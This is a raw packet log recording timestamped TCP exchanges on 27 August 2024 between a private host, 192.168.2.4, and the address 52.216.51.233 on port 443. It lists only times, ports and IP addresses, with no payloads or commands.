Aug 27, 2024 13:05:47.848149061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.848156929 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.848227024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.848246098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.848304987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.848310947 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.870588064 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935028076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935044050 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935101986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935139894 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935147047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935178995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935365915 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935395956 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935431004 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935435057 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935462952 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935662985 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935705900 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935744047 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935750008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.935777903 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935794115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.935975075 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936007977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936041117 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936044931 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936058998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936089993 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936269045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936284065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936345100 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936348915 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936675072 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936702967 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936739922 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936744928 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936774015 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936795950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936913013 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936928034 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936970949 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.936986923 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.936991930 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.937033892 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.978514910 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.025620937 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025636911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025696993 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025717974 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.025731087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025758982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.025922060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025937080 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.025978088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.025981903 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026007891 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026254892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026277065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026315928 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026320934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026349068 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026379108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026604891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026618004 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026648998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026665926 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026671886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026695013 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026793957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026820898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026849031 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.026851892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.026870966 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027229071 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027270079 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027283907 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027287960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027334929 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027527094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027553082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027584076 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027587891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.027618885 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027633905 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.027637005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.042664051 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.080903053 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.080916882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.080970049 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.081011057 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.081016064 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.081054926 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.116898060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.116910934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.116951942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.116991043 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.116997957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117037058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.117266893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117280960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117331028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.117347956 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117379904 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117402077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.117827892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117844105 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117887974 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.117892027 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.117914915 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118134975 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118145943 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118199110 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118205070 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118330002 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118345976 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118375063 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118379116 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118407011 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118628025 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118654966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118685007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118690014 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.118710995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.118752956 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.119118929 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.119132996 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.119167089 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.119184971 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.119189024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.119204998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.145422935 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.207645893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207663059 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207743883 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207762957 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.207768917 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207784891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207803011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207817078 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.207823038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.207850933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.208550930 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.208594084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.208615065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.208619118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.208657026 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209068060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209081888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209120989 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209135056 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209140062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209161997 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209167004 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209182978 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209212065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209214926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209248066 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209732056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209769964 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209789991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209795952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.209827900 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.209846020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.210202932 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.210217953 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.210272074 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.210277081 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.210292101 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.210316896 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.218158007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.265990973 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.266005039 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.266064882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.266083956 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.266089916 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.266133070 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.298562050 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.298582077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.298616886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.298650980 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.298656940 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.298698902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.299484968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.299499035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.299556971 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.299561977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.299598932 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.300369024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.300939083 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.300951958 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.300997972 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.301003933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301374912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301392078 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301424026 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.301433086 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301454067 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.301811934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301827908 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301862001 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.301867962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.301897049 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.302156925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.302171946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.302201986 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.302206039 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.302231073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.302993059 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.303031921 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.303051949 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.303057909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.303085089 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.303108931 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.312889099 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.389327049 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389339924 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389374971 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389400005 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.389405966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389441013 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.389600992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389617920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389647961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.389652014 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.389678001 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.391469955 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.391498089 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.391530991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.391535997 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.391570091 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.391577959 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.391968966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.391983032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392005920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392035961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.392039061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392049074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.392373085 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392390013 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392421007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.392426014 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.392452955 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.393157959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393168926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393215895 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.393222094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393246889 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.393575907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393594027 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393626928 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.393631935 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.393659115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.447055101 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.447937012 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.447954893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.447983980 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.447992086 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.447995901 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.448031902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.475740910 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.483694077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483709097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483748913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483787060 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.483792067 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483839989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.483949900 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483966112 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.483994961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484006882 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484011889 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484035969 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484230042 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484246969 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484277964 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484282017 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484302044 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484522104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484536886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484577894 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484581947 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484611034 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484623909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484658957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484692097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484698057 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484719992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484728098 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484755039 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484904051 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484920025 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484946966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484957933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.484961987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.484982967 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.485136032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.485152006 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.485188961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.485193968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.485219955 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.512752056 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.512943983 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.570964098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.570977926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.571016073 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.571053028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.571060896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.571094036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.571237087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.571253061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.571302891 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.571306944 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.572669029 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.572688103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.572720051 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.572726011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.572758913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.573235989 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573267937 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573301077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.573306084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573328018 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.573355913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.573896885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573909998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573929071 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573960066 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.573964119 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.573980093 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:48.574582100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:48.574604988 CEST	443	49733	52.216.51.233	192.168.2.4
